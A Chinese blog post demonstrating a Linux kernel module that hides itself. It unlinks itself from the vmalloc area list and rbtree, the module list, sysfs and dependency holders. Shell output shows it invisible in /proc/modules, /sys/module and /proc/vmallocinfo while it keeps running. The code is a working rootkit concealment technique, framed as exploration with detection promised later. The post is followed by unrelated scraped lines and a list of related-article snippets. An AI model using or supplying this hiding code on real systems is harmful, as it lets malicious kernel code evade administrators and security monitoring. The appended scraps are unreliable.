前面我提倡使用oneshot模式加载模块,即让模块在init函数中把事情做完后就return -1,这样系统中便不存在这么一个模块,也就不需要隐藏了。

但是,由于THIS_MODULE宏的存在,我们发现实际上隐藏一个模块是多么地简单。事实上,模块可以在init函数中通过THIS_MODULE宏实现自隐藏的。想想看,自己可以给自己办理身份证,户口迁移,自己给自己签证,是多么有意思且有意义。

既然如此简单,还费事搞oneshot干嘛,精神洁癖总是不想看到return -1。

和进程隐藏完全不同,进程无法自己隐藏自己,只能依靠其它模块找到相应的task_struct,然后再摘链。

THIS_MODULE宏对于每一个内核模块均有一个,它将xx.mod.c中的下列结构体载入内核空间:

struct module __this_module
__attribute__((section(".gnu.linkonce.this_module"))) = {.name = KBUILD_MODNAME,.init = init_module,
#ifdef CONFIG_MODULE_UNLOAD.exit = cleanup_module,
#endif.arch = MODULE_ARCH_INIT,
};

我来用代码演示一下如何来隐藏自己,代码如下:

// hidemyself.c
#include <linux/module.h>
#include <net/netfilter/nf_conntrack_core.h>
#include <asm-generic/delay.h>
#include <linux/kallsyms.h>
#include <linux/vmalloc.h>struct timer_list timer;
// 模拟重体力劳动
static void timer_func(unsigned long data)
{udelay(1000);mod_timer(&timer, jiffies + 10);
}static void __init hide_myself(void)
{struct vmap_area *va, *vtmp;struct module_use *use, *tmp;struct list_head *_vmap_area_list;struct rb_root *_vmap_area_root;_vmap_area_list = (struct list_head *)kallsyms_lookup_name("vmap_area_list");_vmap_area_root = (struct rb_root *)kallsyms_lookup_name("vmap_area_root");// 摘除vmalloc调用关系链,/proc/vmallocinfo中不可见list_for_each_entry_safe(va, vtmp, _vmap_area_list, list) {if ((unsigned long)THIS_MODULE > va->va_start && (unsigned long)THIS_MODULE < va->va_end) {list_del(&va->list);// rbtree中摘除,无法通过rbtree找到rb_erase(&va->rb_node, _vmap_area_root);}}// 摘除链表,/proc/modules 中不可见。list_del_init(&THIS_MODULE->list);// 摘除kobj,/sys/modules/中不可见。kobject_del(&THIS_MODULE->mkobj.kobj);// 摘除依赖关系,本例中nf_conntrack的holder中不可见。list_for_each_entry_safe(use, tmp, &THIS_MODULE->target_list, target_list) {list_del(&use->source_list);list_del(&use->target_list);sysfs_remove_link(use->target->holders_dir, THIS_MODULE->name);kfree(use);}
}static int __init hideself_init(void)
{hide_myself();init_timer(&timer);timer.expires = jiffies + 20;timer.function = timer_func;add_timer(&timer);// 模拟依赖。我们需要在依赖关系中也隐藏掉该模块的行踪printk("address:%p   this:%p\n", nf_conntrack_in, THIS_MODULE);return 0;
}static void __exit hideself_exit(void)
{del_timer_sync(&timer);
}
module_init(hideself_init);
module_exit(hideself_exit);
MODULE_LICENSE("GPL");

我们加载该模块,发现重体力劳动已经开始运行:

[root@localhost test]# insmod ./hidemyself.ko
[root@localhost test]# perf top
Samples: 2K of event 'cpu-clock', Event count (approx.): 383743956
Overhead  Shared Object        Symbol47.89%  [kernel]             [k] native_read_tsc38.93%  [kernel]             [k] delay_tsc1.61%  [kernel]             [k] _raw_spin_unlock_irqrestore1.47%  [kernel]             [k] __do_softirq1.26%  perf                 [.] __symbols__ins

依赖也已经记录:

[root@localhost test]# lsmod |grep nf_conntrack
nf_conntrack          105737  1

但是却哪里都找不到:

[root@localhost test]# cat /proc/modules |grep hidemyself
[root@localhost test]# ls -l /sys/module/|grep hidemyself
[root@localhost test]# ls -l /sys/module/nf_conntrack/holders/|grep hidemyself
[root@localhost test]#

同时,/proc/vmallocinfo中也没有该模块的地址空间。下面是dmesg打印出的信息:

[  668.202784] address:ffffffffa02a56e0   this:ffffffffa00fa000

我们看得出,THIS_MODULE的地址是 0xffffffffa00fa000,我们在/proc/vmallocinfo中找不到包含该地址的vmalloc区间!

隐藏很成功。而且…

而且,模块还可以加载多次的哦,因为它已经在命名空间中被自己除名了,完全脱离了组织的管理。

接下来,我正常要做的就是, 把它找出来!

当然,扫描modules内存区间是可行的,它在:

// arch/x86/include/asm/pgtable_64_types.h
#define MODULES_VADDR    _AC(0xffffffffa0000000, UL)
#define MODULES_END      _AC(0xffffffffff000000, UL)

还有更好的方法,后面再说吧。

回家咯。


浙江温州皮鞋湿,下雨进水不会胖。

隐藏自己的Linux内核模块相关推荐

  1. 【Linux、进程隐藏】在Linux环境下添加系统调用实现进程隐藏

    提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 [进程隐藏]在Linux环境下添加系统调用实现进程隐藏 前言 一.环境设置: 二.实现方法步骤: 1.思路图 2.利用strace命令 ...

  2. 调试linux内核模块

    1:前言: 最近几天学习Linux-2.6平台上的设备驱动,所以要建立内核及内核模块的调试平台.虽然网上有很多相关教程,但多是基于2.6.26以前的通过补丁安装的,过程非常复杂,而且问题比较多.lin ...

  3. Linux内核模块编程系列1-极简内核模块编写

    1.准备工作 使用如下命令查看自己Linux的内核版本 uname -a 结果如下: Linux VM-73-203-debian 4.9.0-6-amd64 #1 SMP Debian 4.9.88 ...

  4. linux filesystem_如何使用cgdb + qemu调试linux内核模块

    如何使用cgdb + qemu调试linux内核模块 前言 Linux 代码庞大而繁杂,光看代码会使人头晕目眩,如果能通过调试工具对其代码执行流程进行调试,则对学习Linux kernel以及解决平时 ...

  5. 编写Linux内核模块——第三部分:按键和发光二极管

    [编者的话]了解了基本的内核模块开发.内核空间和用户空间交互之后,终于要开始和硬件设备直接交互了.Linux内核提供了对通用输入输出接口.中断请求等的封装,让驱动开发者可以利用中断来控制硬件线路上的设 ...

  6. Linux内核模块简介

    一. 摘要 这篇文章主要介绍了Linux内核模块的相关概念,以及简单的模块开发过程.主要从模块开发中的常用指令.内核模块程序的结构.模块使用计数以及模块的编译等角度对内核模块进行介绍.在Linux系统 ...

  7. Linux内核模块学习笔记(转载)

    Linux内核模块    Linux设备驱动会以内核模块的形式出现,因此学会编写Linux内核模块编程是学习linux设备驱动的先决条件. 1.1linux内核模块简介 Linux内核的整体结构非常庞 ...

  8. 编写Linux内核模块——第一部分:前言

    [编者的话]Linux内核模块作为Linux内核的扩展手段,可以在运行时动态加载和卸载.它是设备和用户应用程序之间的桥梁,可以通过标准系统调用,为应用程序屏蔽设备细节.本文来自Derek Molloy ...

  9. linux内核微妙时,Linux内核模块时间同步函数汇总

    在linux内核模块中能用到的函数比用户空间多,但是它的函数往往被用得很少.当然在内核中叶可以调用用户空间的函数只要直接调用系统调用的封装函数就行,如下: 如调用long gettimeofday(s ...

最新文章

  1. Netscape Mozilla源代码指南
  2. 013_SpringBoot视图层技术thymeleaf-迭代遍历
  3. ubuntu安装WPS
  4. Python入门4_之字典的使用
  5. Linux:sudo命令实例讲解
  6. bzoj 1711: [Usaco2007 Open]Dining吃饭(最大流)
  7. Android-界面-隐藏/显示
  8. ISO安装CoreOS
  9. 学术会议论文查重吗_投国际会议论文会查重吗
  10. mysql 开源监控软件_开源MySQL_Monito 图形可视化监控工具
  11. 转载:C语言运算符优先级记忆口诀
  12. 联想i5无线网无法连接服务器,联想笔记本不能连接无线网的解决方法
  13. 生物信息学|Extracting Drug-Drug Interactions with Attention CNNs
  14. ClickHouse(一)简介、安装、基本操作、引擎
  15. 电脑卡顿反应慢怎么办?这几招教给你!
  16. Cadence Allegro 如何制作表贴焊盘
  17. 如何解决学习进度缓慢?
  18. 小周SEO:网站关键词【杭州SEO】排名到前3名SEO技巧
  19. 基于MODIS数据的大气水汽反演
  20. 张晓萌《韧性》_00_面对不确定,怎样提高心理韧性?

热门文章

  1. selenium打开chrome浏览器无痕模式
  2. 入侵JVM?Java Agent原理浅析和实践(上)
  3. java架构模式与设计模式(四)--事件风暴
  4. qlabel 详解
  5. vue动态生成二维码,扫码登录
  6. 机器学习笔记(一) KNN K-最近邻
  7. 大数相乘 (模板)
  8. git pull 时一直卡在Unpacking objects【待解决】
  9. 大炮打蚊子(已AC)
  10. C语言中Strcpy 的使用